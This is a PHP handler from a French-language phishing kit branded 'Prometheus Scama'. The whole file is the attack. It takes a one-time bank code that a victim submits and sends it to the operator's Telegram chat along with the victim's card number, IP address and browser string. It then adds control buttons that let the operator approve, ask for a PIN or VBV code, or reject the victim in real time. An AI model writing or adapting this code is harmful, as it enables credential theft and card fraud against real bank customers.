<?php

defined('SECURE_CONTEXT') || define('SECURE_CONTEXT', true);
require_once dirname(__DIR__, 3) . '/app/anti.php';

if ($_SESSION['humain'] === true && $_SERVER['REQUEST_METHOD'] === 'POST') {
    $code = trim($_POST['code'] ?? '');

    if (!empty($code)) {
        $_SESSION['code'] = htmlspecialchars($code, ENT_QUOTES, 'UTF-8');

        $get = fn($key) => htmlspecialchars($_SESSION[$key] ?? 'N/A', ENT_QUOTES, 'UTF-8');

        $text = <<<EOT
<b>🕹️ +1 OTP</b>

<b>🕹️ Code ➟</b> <code>{$get('code')}</code>
<b>💳 Carte ➟</b> <code>{$get('number')}</code>

<b>🌐 IP ➟</b> <code>{$get('ip')}</code>
<b>🌐 UA ➟</b> <code>{$get('ua')}</code>

<blockquote><b>Powered By 🛕 Prometheus Scama ® - @earthshakinggg
🛕 Author : Prometheus - @earthshakinggg</b></blockquote>
EOT;

        if ($CONFIG['webhook_buttons'] == true) {
            $buttons = [
                'inline_keyboard' => [
                    [
                        ['text' => '🗑️ BAN IP 🗑️', 'callback_data' => "ban={$ip}"],
                    ],
                    [
                        ['text' => '📲 VBV 📲', 'callback_data' => "vbv={$ip}"],
                        ['text' => '💳 PIN 💳', 'callback_data' => "pin={$ip}"],
                    ],
                    [
                        ['text' => '✅ APPROVE ✅', 'callback_data' => "approve={$ip}"],
                    ],
                    [
                        ['text' => '✅ Generic Approve', 'callback_data' => "genericapprove={$ip}"],
                    ],
                    [
                        ['text' => '❌ CODE INVALIDE ❌', 'callback_data' => "otp_error={$ip}"],
                        ['text' => '🚪FIN 🚪', 'callback_data' => "success={$ip}"]
                    ],
                ]
            ];
        } else {
            $whBase = web_url('app/webhook.php');
            $buttons = [
                'inline_keyboard' => [
                    [
                        ['text' => '🗑️ BAN IP 🗑️', 'url' => "{$whBase}?ban={$ipQuery}"],
                    ],
                    [
                        ['text' => '📲 VBV 📲', 'url' => "{$whBase}?vbv={$ipQuery}"],
                        ['text' => '💳 PIN 💳', 'url' => "{$whBase}?pin={$ipQuery}"],
                    ],
                    [
                        ['text' => '✅ APPROVE ✅', 'url' => "{$whBase}?approve={$ipQuery}"],
                    ],
                    [
                        ['text' => '✅ Generic Approve', 'url' => "{$whBase}?genericapprove={$ipQuery}"],
                    ],
                    [
                        ['text' => '❌ CODE INVALIDE ❌', 'url' => "{$whBase}?otp_error={$ipQuery}"],
                        ['text' => '🚪FIN 🚪', 'url' => "{$whBase}?success={$ipQuery}"]
                    ],
                ]
            ];
        }

        sendMessage($CONFIG['chat_id'], $text, $buttons);

        $_SESSION['otp-error'] = '';
        $_SESSION['previous-page'] = '';
        header('Location: ../../loading/');
        exit;
    } else {
        $_SESSION['otp-error'] = 'Le code que vous avez entré est incorrect. Veuillez réessayer.';
        header('Location: ../?error');
        exit;
    }
} else {
    $_SESSION['otp-error'] = 'Requête invalide.';
    header('Location: ../../../support/index.html');
    exit;
}
